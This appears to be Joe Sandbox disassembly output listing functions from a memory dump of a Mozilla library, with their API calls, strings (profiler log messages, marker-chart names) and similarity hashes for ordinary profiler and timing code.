
Part of subcall function 6CA7DE60: GetCurrentThreadId.KERNEL32 ref: 6CA7DE73
Part of subcall function 6CA7DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA44A68), ref: 6CA7DE7B
Part of subcall function 6CA7DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA44A68), ref: 6CA7DEB8
Part of subcall function 6CA7DE60: free.MOZGLUE(00000000,?,6CA44A68), ref: 6CA7DEFE
Part of subcall function 6CA7DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA7DF38

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA7EF1E
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EF2B
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EF59
GetCurrentThreadId.KERNEL32 ref: 6CA7EFB0
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EFBD
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EFE1
GetCurrentThreadId.KERNEL32 ref: 6CA7EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7F000

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CA7F02F

Part of subcall function 6CA7F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA7F09B
Part of subcall function 6CA7F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CA7F0AC
Part of subcall function 6CA7F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CA7F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CA7EED7
[I %d/%d] profiler_pause, xrefs: 6CA7F008

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 7ce244a3c4494e90e2fce484ce5232ab9c64b95793f90af76d9efe2ad2a0d095
Instruction ID: febdede1bc96f89d6ac103f4405187853ccda301848fd6110e40a3a00bfd7106
Opcode Fuzzy Hash: 7ce244a3c4494e90e2fce484ce5232ab9c64b95793f90af76d9efe2ad2a0d095
Instruction Fuzzy Hash: B5515B3D6013029FDB185B68DC487D5B778FB06318F18861EE91583F60CB71489AC7BA

Function 6CA45E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA45E9D

Part of subcall function 6CA55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA556EE,?,00000001), ref: 6CA55B85
Part of subcall function 6CA55B50: EnterCriticalSection.KERNEL32(6CABF688,?,?,?,6CA556EE,?,00000001), ref: 6CA55B90
Part of subcall function 6CA55B50: LeaveCriticalSection.KERNEL32(6CABF688,?,?,?,6CA556EE,?,00000001), ref: 6CA55BD8
Part of subcall function 6CA55B50: GetTickCount64.KERNEL32 ref: 6CA55BE4

GetCurrentThreadId.KERNEL32 ref: 6CA45EAB
GetCurrentThreadId.KERNEL32 ref: 6CA45EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA45ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA46017

Part of subcall function 6CA34310: moz_xmalloc.MOZGLUE(00000010,?,6CA342D2), ref: 6CA3436A
Part of subcall function 6CA34310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA342D2), ref: 6CA34387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA45F47
GetCurrentProcess.KERNEL32 ref: 6CA45F53
GetCurrentThread.KERNEL32 ref: 6CA45F5C
GetCurrentProcess.KERNEL32 ref: 6CA45F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA45F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA45F27

Part of subcall function 6CA4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA4CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA455E1), ref: 6CA45E8C

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA455E1), ref: 6CA4605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA455E1), ref: 6CA460CC

Strings

GeckoMain, xrefs: 6CA45ECE, 6CA46015

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 25e14139931a3e8e44a1bb8bda9df747fc664fa748519bb19f209ef77cf82708
Instruction ID: b134ed6c4f26bf9db21fc68a8103a749bcf10bb16ec80f7863f47361c1170760
Opcode Fuzzy Hash: 25e14139931a3e8e44a1bb8bda9df747fc664fa748519bb19f209ef77cf82708
Instruction Fuzzy Hash: 387105B4605740DFD704DF28D580A6ABBF0FF49308F54896DE48687B52D731E889CB52

Function 6CA49590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA33217
Part of subcall function 6CA331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA33236
Part of subcall function 6CA331C0: FreeLibrary.KERNEL32 ref: 6CA3324B
Part of subcall function 6CA331C0: __Init_thread_footer.LIBCMT ref: 6CA33260
Part of subcall function 6CA331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA3327F
Part of subcall function 6CA331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA3328E
Part of subcall function 6CA331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA332AB
Part of subcall function 6CA331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA332D1
Part of subcall function 6CA331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA332E5
Part of subcall function 6CA331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA49675
__Init_thread_footer.LIBCMT ref: 6CA49697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA49707
__Init_thread_footer.LIBCMT ref: 6CA4971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA49773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA497B7
FreeLibrary.KERNEL32 ref: 6CA497D0
FreeLibrary.KERNEL32 ref: 6CA497EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA49824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA49670
ntdll.dll, xrefs: 6CA496E3
NtMapViewOfSection, xrefs: 6CA49701
MapViewOfFileNuma2, xrefs: 6CA497B1

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: a885a4572bdb2c0cbd0c87fef059942aa0442c80818e7a1043397626c1c4cdb9
Instruction ID: c454fa6e6f36e4f7d72bd12c88f33aeccc3e3d7c2edad5dd10d13cc8f3d19408
Opcode Fuzzy Hash: a885a4572bdb2c0cbd0c87fef059942aa0442c80818e7a1043397626c1c4cdb9
Instruction Fuzzy Hash: 6B61E3786003029FDF048F79DE88B9A7BB8EB4A314F18C15DE91593B60E73099D5CBA5

Function 6CA47FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CA48007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CA4801D

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CA4802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CA4803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CA4808D

Part of subcall function 6CA4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA4CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CA4809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CA480B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA480DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA480ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA480FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA4810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA48133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CA48149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CA48167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CA4817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA48199

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 12ffea525d517d9be94d671f1fd308d5a2a0b7385068a98e2c6888d79191547a
Instruction ID: 4865a4a5762e0ff995ac54be8c4813b0ac8efa7b782944a2967a945fe46f779b
Opcode Fuzzy Hash: 12ffea525d517d9be94d671f1fd308d5a2a0b7385068a98e2c6888d79191547a
Instruction Fuzzy Hash: EA51A9B1E002149BDB00DFA9ED84ADFB7B9EF49224F184126E815E7741E731ED49CBA1

Function 6CA96660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CABF618), ref: 6CA96694
GetThreadId.KERNEL32(?), ref: 6CA966B1
GetCurrentThreadId.KERNEL32 ref: 6CA966B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CA966E1
EnterCriticalSection.KERNEL32(6CABF618), ref: 6CA96734
GetCurrentProcess.KERNEL32 ref: 6CA9673A
LeaveCriticalSection.KERNEL32(6CABF618), ref: 6CA9676C
GetCurrentThread.KERNEL32 ref: 6CA967FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CA96868
RtlCaptureContext.NTDLL ref: 6CA9687F

Strings

WalkStack64, xrefs: 6CA96890

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 11a15f91f517f30bf9a05f2473099cb1eaa83380f5915b045f71f03186f91373
Instruction ID: 6502c72e966f62c4e641ad300e622e5efd18710367ace83ada7db4a3f3bb803a
Opcode Fuzzy Hash: 11a15f91f517f30bf9a05f2473099cb1eaa83380f5915b045f71f03186f91373
Instruction Fuzzy Hash: 8B51FE71A09302AFDB15CF24C885B9ABBF4BF89714F04892DF99887760D770E549CB92

Function 6CA7DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7DE73
GetCurrentThreadId.KERNEL32 ref: 6CA7DF7D
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7DF8A
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA7DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA44A68), ref: 6CA7DE7B

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA44A68), ref: 6CA7DEB8
free.MOZGLUE(00000000,?,6CA44A68), ref: 6CA7DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA7DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA7E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CA7DE83
<none>, xrefs: 6CA7DFD7

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: dbbcc268008d046e7f097b73f0d3dcb72dddfbf9a0bf7a357680ebe81c8bc1c1
Instruction ID: 1c930ca8c9818ae8630c8057d1b19a07f766d5b998673df581f52fafae07eb44
Opcode Fuzzy Hash: dbbcc268008d046e7f097b73f0d3dcb72dddfbf9a0bf7a357680ebe81c8bc1c1
Instruction Fuzzy Hash: 0141153DB022028FDB248B69DD487AAB775FB4530CF088119E90597B11CB71989AC7B9

Function 6CA8D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA8D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA8D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA8D52A
GetCurrentThreadId.KERNEL32 ref: 6CA8D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA8D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA8D55F
free.MOZGLUE(00000000), ref: 6CA8D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA8D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA8D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA8D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA8D652
GetCurrentThreadId.KERNEL32 ref: 6CA8D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA8D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA8D6A2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b11f494d0d1d1ab69e76be56df794f75b65fdbcd8b554b4776ddc8f190a6aa70
Instruction ID: 6ca1086fa93f7145eb764edfea63d4cdd55a66419d57e8ffe5a3764fb19fee85
Opcode Fuzzy Hash: b11f494d0d1d1ab69e76be56df794f75b65fdbcd8b554b4776ddc8f190a6aa70
Instruction Fuzzy Hash: 81518071A05706DFC704DF34D484A9ABBF4FF89318F10862EE85A87721DB30A589CB95

Function 6CA55670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA556D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA556E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA556F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA55744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA557BC
GetTickCount64.KERNEL32 ref: 6CA558CB
EnterCriticalSection.KERNEL32(6CABF688), ref: 6CA558F3
__aulldiv.LIBCMT ref: 6CA55945
LeaveCriticalSection.KERNEL32(6CABF688), ref: 6CA559B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CABF638,?,?,?,?), ref: 6CA559E9

Strings

MOZ_APP_RESTART, xrefs: 6CA556CC

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: b97914b5ed4da18d2437b8a710be629ee5f6da460088c764f6bc1e3efef34853
Instruction ID: dfe434ec173e14c3fa2c02b4749c66bda6c2d1877293eaf9628d7fefc320bad6
Opcode Fuzzy Hash: b97914b5ed4da18d2437b8a710be629ee5f6da460088c764f6bc1e3efef34853
Instruction Fuzzy Hash: E3C18079A08782DFD709CF28C45069AB7F1BFDA714F49CA1DE8C457661D730A886CB82

Function 6CA7EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7EC8C

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

GetCurrentThreadId.KERNEL32 ref: 6CA7ECA1
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA7ECC5
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA7ED19
CloseHandle.KERNEL32(?), ref: 6CA7ED28
free.MOZGLUE(00000000), ref: 6CA7ED2F
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA7EC94

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 08800cccaa52d83ae3aa130a835c586c6054967db5d0da9e0ee2ac81ba89c4d1
Instruction ID: bd068bb5408b52f03ae108583f4aa49a6501d6b6ac72ba6f11f3d85e27c649d9
Opcode Fuzzy Hash: 08800cccaa52d83ae3aa130a835c586c6054967db5d0da9e0ee2ac81ba89c4d1
Instruction Fuzzy Hash: FC21267D6002099FCB108F24ED48ADA7739FB4626CF188214FC1897761DB319C9A8BB9

Function 6CA78ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CA3EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA3EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CA7B392,?,?,00000001), ref: 6CA791F4

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

Strings

stack-chart, xrefs: 6CA790B2
marker-table, xrefs: 6CA7906C
timeline-ipc, xrefs: 6CA79096
timeline-fileio, xrefs: 6CA790A4
timeline-memory, xrefs: 6CA79088
data, xrefs: 6CA790E8
timeline-overview, xrefs: 6CA7907A
name, xrefs: 6CA78F16
marker-chart, xrefs: 6CA7905E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

